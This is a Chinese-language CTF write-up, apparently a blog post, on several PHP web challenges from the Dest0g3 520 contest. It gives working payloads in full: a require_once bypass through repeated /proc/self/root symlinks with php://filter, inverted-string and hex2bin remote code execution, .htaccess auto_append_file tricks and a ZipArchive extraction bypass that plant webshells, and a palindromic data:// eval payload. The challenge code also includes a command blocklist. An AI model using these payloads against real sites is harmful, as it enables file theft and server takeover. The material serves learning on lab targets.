-
- highlight_file(__FILE__);
- require_once 'flag.php';
- if(isset($_GET['file'])) {
- require_once($_GET['file']);
- }
php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中
require_once在调用时php会检查该文件是否已经被包含过,而这里在前面就已经包含了文件flag.php,我们在后面再想包含'flag.php'时就不能实现了,而我们需要做到就是怎么绕过这个哈希表,让php认为我们传入的文件名不在哈希表中,又可以让php能找到这个文件,读取到内容
/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,payload:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
base64解码后得到flag。
具体原理可看:require_once 绕过不能重复包含文件的限制
我们在审计时找到一处文件包含漏洞(使用require_once或include_once),想利用这个漏洞读取一下数据库配置文件之类的源码,通常可以使用php://filter/convert.base64-encode/resource=file这样的方式将文件以base64的形式读出来。但如果这个文件在前面已经被包含过了,则第二次包含就会失败,即使使用php://filter也一样。
此时我们可以使用“多重软连接”,正常情况下,PHP会将用户输入的文件名进行resolve,转换成标准的绝对路径,这个转换的过程会将…/、./、软连接等都进行计算,得到一个最终的路径,再进行包含。每次包含都会经历这个过程,所以,只要是相同的文件,不管中间使用了…/进行跳转,还是使用软连接进行跳转,都逃不过最终被转换成原始路径的过程,也就绕不过require_once。
但是,如果软连接跳转的次数超过了某一个上限,Linux的lstat函数就会出错,导致PHP计算出的绝对路径就会包含一部分软连接的路径,也就和原始路径不相同的,即可绕过require_once限制。 在Linux下,最常见的软连接就是/proc/self/root,这个路径指向根目录。
date()函数满足那个条件一个数不行的。但是下面还有一个 set_error_handler可以输出flag。
set_error_handler(error_function,error_types)
error_function 规定发生错误时运行的函数
- set_error_handler(
- function() use(&$fl4g) {
- print $fl4g;
- }
所以我们post传入 ctf[]=1 报错,得到flag。
-
- highlight_file(__FILE__);
- $aaa=$_POST['aaa'];
- $black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
- $aaa = str_ireplace($black_list,"hacker",$aaa);
- eval($aaa);
- ?>
发现passthru,exec(),popen,system等等命令执行函数都被过滤了。用不了。strireplace 还是大小写不敏感的。尝试一下取反绕过,进行无参数rce
执行一下system('ls /');
(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

发现flag。再执行 cat /flag
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
得到flag。
看后续别的师傅,得知题解预期解好像是hex2bin():
源代码没有过滤hex2bin()函数, 73797374656d -》system
post传入:aaa=hex2bin('73797374656d')('ls /'); 发现flag。
aaa=hex2bin('73797374656d')('rev /fl?g'); 可以用rev来逆转读取flag。

试了试发现.htaccess文件可以上传并解析,但是过滤了文件内容,可以利用auto_append_file和php伪协议打组合拳绕过
AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.txt"

然后传入一个1.txt文件,写入一句话木马的base64编码。
蚁剑连接。在目录下得到flag。

参考:Web安全|.htaccess的奇淫技巧 - 腾讯云开发者社区-腾讯云
下面的都没做出来,根据别的师傅wp学习一下
Dest0g3 520迎新赛_Ff.cheng的博客-CSDN博客
参考:以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 - 先知社区
没有信息,我们把s图下载下来,010editor打开,在末尾发现了一串base64

解码后得到源代码:
- upload.php:
- error_reporting(0);
- include("zip.php");
- if(isset($_FILES['file']['name'])){
- if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){
- echo "hacker!!";
- exit;
- }
- if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){
- echo "only zip!!";
- exit;
- }
- $Myzip = new zip($_FILES['file']['name']);
- mkdir($Myzip->path);
- move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']);
- echo "Try to unzip your zip to /".$Myzip->path."
"; - if($Myzip->unzip()){echo "Success";}else{echo "failed";}
- }
-
- zip.php:
- class zip
- {
- public $zip_name;
- public $path;
- public $zip_manager;
-
- public function __construct($zip_name){
- $this->zip_manager = new ZipArchive();
- $this->path = $this->gen_path();
- $this->zip_name = $zip_name;
- }
- public function gen_path(){
- $chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
- $newchars=str_split($chars);
- shuffle($newchars);
- $chars_key=array_rand($newchars,15);
- $fnstr = "";
- for($i=0;$i<15;$i++){
- $fnstr.=$newchars[$chars_key[$i]];
- }
- return md5($fnstr.time().microtime()*100000);
- }
-
- public function deldir($dir) {
- //先删除目录下的文件:
- $dh = opendir($dir);
- while ($file = readdir($dh)) {
- if($file != "." && $file!="..") {
- $fullpath = $dir."/".$file;
- if(!is_dir($fullpath)) {
- unlink($fullpath);
- } else {
- $this->deldir($fullpath);
- }
- }
- }
- closedir($dh);
- }
- function dir_list($directory)
- {
- $array = [];
-
- $dir = dir($directory);
- while ($file = $dir->read()) {
- if ($file !== '.' && $file !== '..') {
- $array[] = $file;
- }
- }
- return $array;
- }
- public function unzip()
- {
- $fullpath = "/var/www/html/".$this->path."/".$this->zip_name;
- $white_list = ['jpg','png','gif','bmp'];
- $this->zip_manager->open($fullpath);
- for ($i = 0;$i < $this->zip_manager->count();$i ++) {
- if (strstr($this->zip_manager->getNameIndex($i),"../")){
- echo "you bad bad";
- return false;
- }
- }
- if(!$this->zip_manager->extractTo($this->path)){
- echo "Unzip to /".$this->path."/ failed";
- exit;
- }
- @unlink($fullpath);
- $file_list = $this->dir_list("/var/www/html/".$this->path."/");
- for($i=0;$i
$file_list);$i++){ - if(is_dir($this->path."/".$file_list[$i])){
- echo "dir? I deleted all things in it"."
";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]); - }
- else{
- if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."
";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);} - }
- }
- return true;
-
- }
-
-
- }
代码审计可知:它会解压ZIP,然后删除ZIP除去图片的所有文件

根据大佬博客里提到使用了 ZipArchive,绕过zip解压方法:两个文件 1.php 和 2.txt,压缩为zip,对压缩文件的文件名进行操作可以导致解压失败从而终止解压,然后遗留shell文件getshell,修改其中一个filename为 /


蚁剑连接:
http://c0213195-4c20-4885-8344-531d0a5476db.node4.buuoj.cn:81/20ef813f9551b2a0c9c242171ad8803d/1.php
密码即为你上传的木马 我这里是1vxyz
进入之后根目录下找到flag点开却没有内容,进入终端cat一下发现没有权限
我们nl来读取,得到flag

其他题目水平还不够,看了wp也不明白 以后在尝试看一看
-
- error_reporting(0);
- highlight_file(__FILE__);
-
- $file = $_POST['file'];
-
- if(isset($file)){
- if(strrev($file)==$file){
- include $file;
- }
-
strrev 就是翻转字符串,这道题就要保证传入的file字符串反转一样。 同时include file
可以使用data协议,因为data协议php标记?>闭合后可以加任意字符不会影响。
file=data://text/plain,>? ;)]'llehs'[TSOP_$(lave php?<,nialp/txet//:atad&shell=system('ls /');

发现 f1agaaa cat/f1agaaa 得到flag